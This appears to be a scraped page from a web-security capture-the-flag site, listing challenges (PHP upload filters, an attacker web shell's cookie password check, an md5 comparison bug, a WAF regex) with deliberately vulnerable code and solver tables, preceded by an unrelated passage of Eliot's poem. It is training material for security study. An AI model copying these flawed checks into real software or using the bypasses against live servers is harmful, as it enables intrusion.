gropes his way, finding the stairs unlit . . . She turns and looks a moment in the glass, Hardly aware of her departed lover; Her brain allows one half-formed thought to pass: 'Well now that’s done: and I’m glad it’s over.’ When lovely woman stoops to folly and Paces about her room again, alone, She smooths her hair with automatic hand, And puts a record on the gramophone. ‘This music crept by me upon the waters’ And along the Strand, up Queen Victoria Street. O City city, I can sometimes hear Beside a public bar in Lower Thames Street, The pleasant whining of a mandoline And a clatter and a chatter from within Where fishmen lounge at noon: where the walls Of Magnus Martyr hold Inexplicable splendour of Ionian white and gold. The river sweats Oil and tar The barges drift With the turning tide Red sails Wide To leeward, swing on the heavy spar. The barges wash Drifting logs Down Greenwich reach Past the Isle of Dogs. Weialala leia Wallala leialala Elizabeth and Leicester Beating oars The stern was formed A gilded shell Red and gold The brisk swell Rippled both shores Southwest wind Carried down stream The peal of bells White towers Weialala leia Wallala leialala ‘Trams and dusty trees. Highbury bore me. Richmond and Kew Undid me. By Richmond I raised my knees Supine on the floor of a narrow canoe.’ ‘My feet are at Moorgate, and my heart Under my feet. After the event He wept. He promised a ‘new start.’ I made no comment. What should I resent?’ ‘On Margate Sands. I can connect Nothing with nothing. The broken fingernails of dirty hands. My people humble people who expect Nothing.’ la la To Carthage then I came Burning burning burning burning O Lord Thou pluckest me out O Lord Thou pluckest burning IV. Death by Water Phlebas the Phoenician, a fortnight dead, Forgot the cry of gulls, and the deep sea swell And the profit and loss. A current under sea Picked his bones in whispers. As he rose and fell He passed the stages of his age and youth Entering the whirlpool. Gentile or Jew O you who turn the wheel and look to windward, Consider Phlebas, who was once handsome and tall as you. V. What the Thunder Said After the torchlight red on sweaty faces After the frosty silence in the gardens After the agony in stony places The shouting and the crying Prison and palace and reverberation Of thunder of spring over distant mountains He who was living is now dead We who were living are now dying With a little patience Here is no water but only rock Rock and no water and the sandy road The road winding above among the mountains Which are mountains of rock without water If there were water we should stop and drink Amongst the rock one cannot stop or think Sweat is dry and feet are in the sand If there were only water amongst the rock Dead mountain mouth of carious teeth that cannot spit Here one can neither stand nor lie nor sit There is not even silence in the mountains But dry sterile thunder without rain There is not even solitude in the mountains But red sullen faces sneer and snarl From doors of mudcracked houses If there were water And no rock If there were rock And also water And water A spring A pool among the rock If there were the sound of water only Not the cicada And dry grass singing But sound of water over a rock Where the hermit-thrush sings in the pine trees Drip drop drip drop drop drop drop But there is no water Who is the third who walks always beside you? When I count, there are only you and I together But when I look ahead up the white road There is always another one walking beside you Gliding wrapt in a brown mantle, hooded I do not know whether a man or a woman —But who is that on the other side of you? What is that sound high in the air Murmur of maternal lamentation Who are those hooded hordes swarming Over endless plains, stumbling in cracked earth Ringed by the flat horizon only What is the city over the mountains Cracks and reforms and bursts in the violet air Falling towers Jerusalem Athens Alexandria Vienna London Unreal A woman drew her long black hair out tight And fiddled whisper music on those strings And bats with baby faces in the violet light Whistled, and beat their wings And crawled head downward down a blackened wall And upside down in air were towers Tolling reminiscent bells, that kept the hours And voices singing out of empty cisterns and exhausted wells. In this decayed hole among the mountains In the faint moonlight, the grass is singing Over the tumbled graves, about the chapel There is the empty chapel, only the wind’s home. It has no windows, and the door swings, Dry bones can harm no one. Only a cock stood on the rooftree Co co rico co co rico In a flash of lightning. Then a damp gust Bringing rain Ganga was sunken, and the limp leaves Waited for rain, while the black clouds Gathered far distant, over Himavant. The jungle crouched, humped in silence. Then spoke the thunder DA Datta: what have we given? My friend, blood shaking my heart The awful daring of a moment’s surrender Which an age of prudence can never retract By this, and this only, we have existed Which is not to be found in our obituaries Or in memories draped by the beneficent spider Or under seals broken by the lean solicitor In our empty rooms DA Dayadhvam: I have heard the key Turn in the door once and turn once only We think of the key, each in his prison Thinking of the key, each confirms a prison Only at nightfall, aethereal rumours Revive for a moment a broken Coriolanus DA Damyata: The boat responded Gaily, to the hand expert with sail and oar The sea was calm, your heart would have responded Gaily, when invited, beating obedient To controlling hands I sat upon the shore Fishing, with the arid plain behind me Shall I at least set my lands in order? London Bridge is falling down falling down falling down Poi s’ascose nel foco che gli affina Quando fiam uti chelidon—O swallow swallow Le Prince d’Aquitaine à la tour abolie These fragments I have shored against my ruins Why then Ile fit you. Hieronymo’s mad againe. Datta. Dayadhvam. Damyata. Shantih shantih shantih | 2025-04-16 13:35:21 |
Apparently it's very hard to implement a nice check for blocking uploading PHP files. Some developers probably thought "upload whatever you want, we'll just encrypt it so it can't execute.".
I can add that when I found this there were already a few malicious PHP files that had been uploaded. But none of them had "bypassed" the encryption. So maybe it does work?
The code below is used to encrypt the upload:
function xor_encrypt($data, $k0, $k1, $k2, $k3, $k4, $k5) {
$key = Array($k0, $k1, $k2, $k3, $k4, $k5);
$len = strlen($data);
for ($i = 0; $i < $len; $i++) {
$data[$i] = chr(ord($data[$i]) ^ ord($xor_key[$i % 6]));
}
return $data;
}
save($filename, xor_encrypt($data, 'b', 'e', 'n', 'e', 'r', 'i'));
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| grocid | 2021-08-28 18:37:23 |
| Goldfish | 2021-12-22 18:20:05 |
| Peptski | 2022-03-22 09:47:05 |
| Q | 2022-03-22 13:32:18 |
| φ | 2022-03-23 20:00:56 |
| Intel® HD Graphics | 2022-03-28 16:35:28 |
| nightmorning | 2022-03-30 13:25:12 |
| Koftan | 2022-03-31 21:43:19 |
| Assured | 2022-05-10 00:44:46 |
| PotatoKingTheVII | 2022-06-17 15:07:48 |
| TITANPOINTE | 2022-08-24 11:29:58 |
| har-ee | 2022-11-02 22:23:21 |
| 2022-12-01 16:42:35 | |
| ludde | 2023-03-20 13:00:58 |
| Corgo | 2023-04-24 00:03:26 |
| pinekiller | 2023-05-18 20:41:44 |
| Simon Goater | 2023-05-24 15:12:05 |
| ehsun | 2023-10-12 07:28:52 |
| alphac | 2024-03-26 20:36:12 |
| Saile | 2024-05-10 13:04:50 |
| KodakDaniel | 2024-09-14 15:12:46 |
| labas | 2025-04-01 02:24:13 |
| samkaj | 2025-04-03 07:23:17 |
I was recently attacked by hackers from TAPESH-TEAM. In their attack, they tried to upload a web shell to my server. To ensure that other hackers won't be able to use the shell they add a password. However, I think they skipped their security courses. Can you gain access to the shell? Open TAPESH-SHELL-v1.0.php Source: TAPESH-SHELL-v1.0.php.txt. Original available on GitHub (no spoilers).
Once you get access the flag will be of the form realsec{...}.
Below is the core logic for the password check. You do not know the value of "SECRET".
if(!isset($_COOKIE['TapeshPassword']))
{
setcookie('TapeshPassword',md5("SECRET"),time() + (86400 * 30));
}
@$password = $_POST['password'];
if(@$_COOKIE['TapeshPassword'] == md5($password))
{
setcookie('Tapeshlog','true',time() + (86400 * 30));
}
else
{
if(!isset($_COOKIE['Tapeshlog'])
|| $_COOKIE['Tapeshlog']=="false"
|| !isset($_COOKIE['Tapeshlog']))
{
$Eform='<form method="post"><input type="password" name="password"></form>';
echo "...You don't have permission to access...";
exit;
}
}
FLAGSolvers:
| Username | Date |
|---|---|
| φ | 2022-03-25 10:08:48 |
| Q | 2022-03-25 16:34:13 |
| Peptski | 2022-03-25 17:29:32 |
| nightmorning | 2022-03-30 13:38:23 |
| Koftan | 2022-03-31 20:53:04 |
| Intel® HD Graphics | 2022-04-01 19:22:58 |
| Assured | 2022-05-10 14:34:34 |
| PotatoKingTheVII | 2022-06-17 21:32:42 |
| TITANPOINTE | 2022-08-23 21:42:13 |
| har-ee | 2022-11-02 22:00:00 |
| Grybto | 2022-12-01 12:41:39 |
| ludde | 2023-03-20 13:05:18 |
| AT | 2023-03-24 17:39:51 |
| LS | 2023-03-28 08:11:14 |
| F | 2023-03-28 08:43:23 |
| alax | 2023-04-04 14:47:52 |
| Corgo | 2023-04-24 00:07:49 |
| Bear | 2023-04-26 10:24:48 |
| g | 2023-05-09 14:43:17 |
| bloop | 2023-05-09 19:31:51 |
| mr hackerman | 2023-05-09 19:33:17 |
| leo | 2023-05-11 15:52:12 |
| Mary P0ppins | 2023-05-11 17:23:11 |
| :D | 2023-05-18 18:03:37 |
| pinekiller | 2023-05-18 20:44:57 |
| mad | 2023-05-19 10:58:13 |
| x | 2023-05-22 14:17:55 |
| ehsun | 2023-10-11 15:18:16 |
| alphac | 2024-03-26 13:17:57 |
| ahlinder | 2024-04-18 07:48:15 |
| pc | 2024-04-18 07:54:58 |
| Ali | 2024-04-22 09:50:24 |
| William | 2024-04-23 13:43:49 |
| Deaa | 2024-04-30 02:51:17 |
| omar | 2024-05-06 09:50:15 |
| yunpeng | 2024-05-06 20:33:53 |
| teh | 2024-05-07 18:45:42 |
| sylt | 2024-05-08 08:58:52 |
| Jacob | 2024-05-08 09:09:46 |
| kalleballe | 2024-05-08 09:47:19 |
| pg | 2024-05-08 11:35:20 |
| group31 | 2024-05-08 13:15:33 |
| tim | 2024-05-09 11:29:08 |
| Svenjamin | 2024-05-09 17:00:06 |
| kris | 2024-05-09 17:46:54 |
| dd | 2024-05-09 18:02:53 |
| yessir | 2024-05-09 18:15:00 |
| test | 2024-05-09 18:18:56 |
| Seffel | 2024-05-09 20:25:25 |
| Saile | 2024-05-09 22:58:41 |
| Erra | 2024-05-10 12:05:58 |
| s | 2024-05-10 12:54:03 |
| seeb | 2024-05-10 14:17:35 |
| HannesRL | 2024-05-10 14:20:15 |
| eric | 2024-05-10 15:17:29 |
| Tester | 2024-05-10 15:25:20 |
| liang | 2024-05-10 16:07:56 |
| a | 2024-05-10 16:47:59 |
| Hello World | 2024-05-10 19:28:02 |
| nerding-on-a-friday | 2024-05-10 21:30:12 |
| forsen | 2024-05-15 05:58:28 |
| Cccc | 2024-05-24 13:31:13 |
| Vermin | 2024-05-30 15:53:41 |
| L | 2024-05-30 18:53:39 |
| g-33 | 2024-05-30 22:15:52 |
| MA | 2024-06-20 09:36:52 |
| KodakDaniel | 2024-09-14 15:05:58 |
| samkaj | 2024-11-13 07:51:36 |
| 2024-11-16 13:02:12 | |
| Anajrim | 2025-02-18 20:04:56 |
| AliShereef | 2025-03-01 21:10:00 |
| 平行六面体 | 2025-03-29 15:57:16 |
| Gustavus Adolphus | 2025-04-01 10:41:21 |
| j | 2025-04-01 15:15:51 |
| dfweqfw | 2025-04-16 14:44:47 |
In this challenge, you have access to your files homework.txt and food.txt. However, the target has a juicy file called flag.txt. Sadly, we don't have permission to read it. Can you still get it?
I first saw (and reported) this problem on a Swedish course management system that is very popular with Universities. It wasn't until I saw it again on a very different type of website that I decided it could be worth sharing.
Once you get access the flag will be of the form realsec{...}.
Solvers:
| Username | Date |
|---|---|
| TITANPOINTE | 2022-08-20 21:25:24 |
| Assured | 2022-08-22 23:14:50 |
| PotatoKingTheVII | 2022-08-29 20:03:31 |
| codewarrior0 | 2022-08-29 20:16:10 |
| corgo | 2022-08-29 21:00:47 |
| φ | 2022-10-31 04:21:06 |
| har-ee | 2022-11-02 21:47:06 |
| Grybto | 2022-12-01 14:08:20 |
| Q | 2023-03-20 08:39:23 |
| Peptski | 2023-03-20 11:53:54 |
| ludde | 2023-03-20 13:07:27 |
| AT | 2023-03-24 17:56:34 |
| LS | 2023-03-28 08:15:27 |
| F | 2023-03-28 09:36:36 |
| alax | 2023-04-04 15:32:35 |
| Bear | 2023-04-26 10:24:48 |
| g | 2023-05-09 14:48:57 |
| mr hackerman | 2023-05-09 18:22:16 |
| leo | 2023-05-11 15:24:59 |
| Mary P0ppins | 2023-05-11 18:16:26 |
| hi | 2023-05-12 19:18:08 |
| bloop | 2023-05-18 09:17:18 |
| 54 | 2023-05-18 18:18:02 |
| pinekiller | 2023-05-18 20:55:49 |
| mad | 2023-05-19 10:58:47 |
| loop | 2023-05-23 08:39:50 |
| xxx | 2023-05-23 09:26:19 |
| ehsun | 2023-10-11 15:27:26 |
| lol | 2024-03-20 16:47:39 |
| alphac | 2024-03-26 13:19:24 |
| ahlinder | 2024-04-18 08:47:27 |
| William | 2024-04-23 14:17:40 |
| Deaa | 2024-04-30 03:37:40 |
| KodakDaniel | 2024-05-06 07:01:49 |
| yunpengy | 2024-05-06 20:45:25 |
| tehAndrew | 2024-05-07 20:34:53 |
| Jacob | 2024-05-08 09:25:58 |
| kalleballe | 2024-05-08 09:58:30 |
| sylt | 2024-05-08 10:55:09 |
| pg | 2024-05-08 11:31:17 |
| börje | 2024-05-08 13:29:45 |
| tim | 2024-05-09 11:38:27 |
| Svenjamin | 2024-05-09 16:52:42 |
| pontanvb | 2024-05-09 20:27:22 |
| Seffel | 2024-05-09 20:32:58 |
| Saile | 2024-05-09 23:12:19 |
| kris | 2024-05-10 07:16:21 |
| eric | 2024-05-10 08:31:58 |
| yessir | 2024-05-10 09:32:34 |
| Erra | 2024-05-10 12:19:56 |
| 58 | 2024-05-10 12:56:01 |
| tknz | 2024-05-10 13:26:05 |
| liang | 2024-05-10 15:40:35 |
| a | 2024-05-10 16:54:55 |
| Hello World | 2024-05-10 18:37:49 |
| nerding-on-a-friday | 2024-05-11 12:03:00 |
| forsen | 2024-05-15 06:18:59 |
| Cccc | 2024-05-24 15:17:16 |
| gr33 | 2024-05-31 15:19:25 |
| L | 2024-05-31 21:14:47 |
| omstaendlig | 2024-07-25 21:29:24 |
| W | 2024-10-04 19:06:26 |
| samkaj | 2024-11-13 08:06:48 |
| notjack | 2025-01-25 10:09:28 |
| Anajrim | 2025-02-18 20:12:42 |
| :D | 2025-02-28 07:07:06 |
| AliShereef | 2025-03-01 21:14:31 |
| 平行六面体 | 2025-03-27 20:26:03 |
| Gustavus Adolphus | 2025-04-01 07:58:46 |
| j | 2025-04-01 15:17:52 |
| 2025-04-03 12:22:40 | |
| fefhqo | 2025-04-16 13:55:27 |
Just as in Bitcoin, the goal here is to find an input that gives a smaller (lexicographically) hash than the target hash. Simple right? Hopefully, you can do this without trying about 1620 (or 1024) hashes.
So far my challenges have focused on other people's mistakes but I'm not perfect either. Therefore, for this number 10 special, I thought it would be fitting to showcase a mistake I made. Can you hack me?
$hex_hash_str = md5($_POST['guess']);
$target_hash = "00000000000000000000dec0dec0ffee";
if($hex_hash_str < $target_hash) {
win();
}Solvers:
| Username | Date |
|---|---|
| TITANPOINTE | 2022-08-22 18:02:34 |
| Assured | 2022-08-23 22:11:46 |
| PotatoKingTheVII | 2022-08-29 19:27:54 |
| codewarrior0 | 2022-08-29 20:35:17 |
| har-ee | 2022-11-02 22:15:31 |
| Q | 2023-03-20 09:13:52 |
| 2023-03-20 12:33:58 | |
| Peptski | 2023-03-20 12:48:57 |
| ludde | 2023-03-20 13:08:47 |
| Corgo | 2023-04-23 23:39:32 |
| eric | 2025-04-23 16:12:20 |
The server in this case had a vulnerability that allowed attackers to upload PHP files in the image directory. However, thanks to a quite popular Web Application Firewall (WAF), the attackers were not able to execute their code.
Access images/shell.php to read the flag.
Once you get access the flag will be of the form realsec{...}.
Below is the regex check used by the WAF. It is rewritten by me in PHP but the regex is exactly the same.
$uri = $_SERVER["REQUEST_URI"];
$r = "(\/(images|img(s)?|pictures|upload(s)?)\/[^\.]{0,108}\.(pht|phtml|php\d?$))";
if(preg_match($r, $uri)) {
echo "Blocked by L33TWAF!";
} else {
echo $flag;
}
I have reported this and while they appreciate the feedback they argue this rule should only be used for logging.
The real website where this was found had many malicious PHP files in the image folder but seemed fine otherwise. Perhaps this WAF rule is not too bad!
Solvers:
| Username | Date |
|---|---|
| Peptski | 2023-03-20 12:07:52 |
| Q | 2023-03-20 12:09:45 |
| ludde | 2023-03-20 13:12:03 |
| PotatoKingTheVII | 2023-03-27 14:16:56 |
| TITANPOINTE | 2023-03-30 14:50:19 |
| har-ee | 2023-03-31 00:09:02 |
| Corgo | 2023-04-23 23:23:14 |
| ehsun | 2023-10-12 06:39:43 |
| alphac | 2024-03-26 14:23:57 |
| KodakDaniel | 2024-05-06 07:07:34 |
| Saile | 2024-05-10 12:39:17 |
| omstaendlig | 2024-07-25 21:32:56 |
| W | 2024-10-04 19:25:00 |
| Assured | 2024-11-03 09:32:40 |
| 2024-11-17 00:57:52 | |
| j | 2025-04-01 15:43:13 |
| samkaj | 2025-04-03 07:43:07 |
As we have seen, file types and extensions can not be trusted!
"No problem" said these developers, as they have the function
getimagesize, which will give us the width and height of an image.
$filename = basename($_FILES['file']['name']);
$size == getimagesize($_FILES['file']['tmp_name']);
$width = $size[0];
$height = $size[1];
if ($width && $width <= 1337 && $height && $height <= 1337) {
// upload to the file
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| Q | 2023-03-20 09:43:09 |
| ludde | 2023-03-20 13:16:45 |
| Peptski | 2023-03-20 16:16:18 |
| PotatoKingTheVII | 2023-03-27 13:59:45 |
| har-ee | 2023-03-31 00:15:53 |
| Corgo | 2023-04-23 23:28:23 |
| ehsun | 2023-10-12 07:15:25 |
| alphac | 2024-03-26 17:35:17 |
| Saile | 2024-05-10 12:38:52 |
| 2024-05-11 10:47:51 | |
| KodakDaniel | 2024-05-11 10:48:03 |
| W | 2024-10-04 19:37:28 |
| Anajrim | 2025-02-18 23:44:53 |
| was fun.. thanks. | 2025-02-18 23:48:44 |
| j | 2025-04-01 16:01:33 |
| samkaj | 2025-04-03 07:52:28 |